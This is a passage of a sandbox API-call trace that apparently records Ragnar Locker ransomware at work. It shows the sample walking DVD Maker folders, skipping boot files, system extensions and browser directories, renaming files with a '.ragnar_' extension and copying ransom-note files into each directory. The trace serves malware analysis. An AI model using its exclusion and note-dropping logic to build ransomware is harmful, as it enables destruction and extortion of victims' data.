files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.940] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.940] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.941] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0078.941] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png") returned=".png" [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.941] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.941] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0078.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.941] CloseHandle (hObject=0xffffffff) returned 0 [0078.941] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" [0078.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.942] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.942] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.942] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0078.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png") returned=".png" [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.942] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.942] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0078.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.943] CloseHandle (hObject=0xffffffff) returned 0 [0078.943] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" [0078.943] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.943] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.943] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81486a60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81486a60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.943] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.943] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.943] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.943] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.943] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0078.943] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.943] lstrcpyW (in: lpString1=0x1eab5a, lpString2="title_stripe.png" | out: lpString1="title_stripe.png") returned="title_stripe.png" [0078.943] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png") returned=".png" [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="autorun.inf") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="boot.ini") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootfont.bin") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootsect.bak") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootmgr") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootmgr.efi") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootmgfw.efi") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="desktop.ini") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="iconcache.db") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntldr") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntuser.dat") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntuser.dat.log") returned 1 [0078.943] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntuser.ini") returned 1 [0078.944] lstrcmpiW (lpString1="title_stripe.png", lpString2="thumbs.db") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.944] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0078.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.944] CloseHandle (hObject=0xffffffff) returned 0 [0078.944] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" [0078.944] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ragnar_FD7BD9FC" [0078.944] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.944] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0078.944] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.944] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0078.944] lstrcmpiW (lpString1="LayeredTitles", lpString2=".") returned 1 [0078.944] lstrcmpiW (lpString1="LayeredTitles", lpString2="..") returned 1 [0078.944] lstrcmpiW (lpString1="LayeredTitles", lpString2="Windows") returned -1 [0078.944] lstrcmpiW (lpString1="LayeredTitles", lpString2="Windows.old") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Tor browser") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Internet Explorer") returned 1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Google") returned 1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Opera") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Opera Software") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Mozilla") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="Mozilla Firefox") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="$Recycle.Bin") returned 1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="ProgramData") returned -1 [0078.945] lstrcmpiW (lpString1="LayeredTitles", lpString2="All Users") returned 1 [0078.945] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.945] lstrcpyW (in: lpString1=0x1eb620, lpString2="LayeredTitles" | out: lpString1="LayeredTitles") returned="LayeredTitles" [0078.945] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" [0078.945] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" [0078.945] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RGNR_FD7BD9FC.txt" [0078.945] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.957] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*" [0078.957] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.957] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.957] lstrcpyW (in: lpString1=0x1ea750, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x814d2d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.957] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.957] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x814d2d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.957] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.957] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="blackbars60.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="blackbars60.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, 